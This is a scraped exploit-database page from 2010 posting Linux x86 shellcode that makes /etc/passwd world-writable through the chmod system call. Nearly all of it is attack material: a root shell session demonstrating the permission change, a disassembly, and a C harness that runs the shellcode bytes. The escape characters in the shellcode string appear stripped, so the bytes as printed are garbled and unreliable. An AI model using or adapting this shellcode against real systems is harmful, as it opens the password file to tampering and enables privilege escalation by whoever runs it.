linux/x86 sys_chmod("/etc/passwd",599) shellcode 3
Posted on 31 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 sys_chmod("/etc/passwd",599) shellcode 39 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================================= linux/x86 sys_chmod("/etc/passwd",599) shellcode 39 bytes ========================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ######################################### 1 0 I'm gunslinger_ member from Inj3ct0r Team 1 1 ######################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 /* Title : change mode 0777 of "/etc/passwd" with sys_chmod syscall Name : 39 bytes sys_chmod("/etc/passwd",599) x86 linux shellcode Date : may, 31 2009 Author : gunslinger_ <yudha.gunslinger[at]gmail.com> Web : devilzc0de.com blog : gunslingerc0de.wordpress.com tested on : linux debian */ /* root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd -rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd root@localhost:/home/gunslinger/shellcode# gcc -o chmod chmod.c chmod.c: In function ‘main’: chmod.c:37: warning: incompatible implicit declaration of built-in function ‘strlen’ root@localhost:/home/gunslinger/shellcode# ./chmod Length: 39 root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd -rwxrwxrwx 1 root root 1869 2010-05-08 15:53 /etc/passwd root@localhost:/home/gunslinger/shellcode# chmod 644 /etc/passwd root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd -rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd root@localhost:/home/gunslinger/shellcode# objdump -d chmod chmod: file format elf32-i386 Disassembly of section .text: 08048060 <.text>: 8048060: eb 15 jmp 0x8048077 8048062: 31 c0 xor %eax,%eax 8048064: b0 0f mov $0xf,%al 8048066: 5b pop %ebx 8048067: 31 c9 xor %ecx,%ecx 8048069: 66 b9 ff 01 mov $0x1ff,%cx 804806d: cd 80 int $0x80 804806f: 31 c0 xor %eax,%eax 8048071: b0 01 mov $0x1,%al 8048073: 31 db xor %ebx,%ebx 8048075: cd 80 int $0x80 8048077: e8 e6 ff ff ff call 0x8048062 804807c: 2f das 804807d: 65 gs 804807e: 74 63 je 0x80480e3 8048080: 2f das 8048081: 70 61 jo 0x80480e4 8048083: 73 73 jae 0x80480f8 8048085: 77 64 ja 0x80480eb root@localhost:/home/gunslinger/shellcode# */ #include <stdio.h> char sc[] = "xebx15x31xc0xb0x0fx5bx31xc9x66xb9xffx01xcdx80x31xc0xb0x01x31xdbxcdx80xe8xe6xffxffxffx2fx65x74x63x2fx70x61x73x73x77x64"; int main(void) { fprintf(stdout,"Length: %d ",strlen(sc)); (*(void(*)()) sc)(); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-31]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
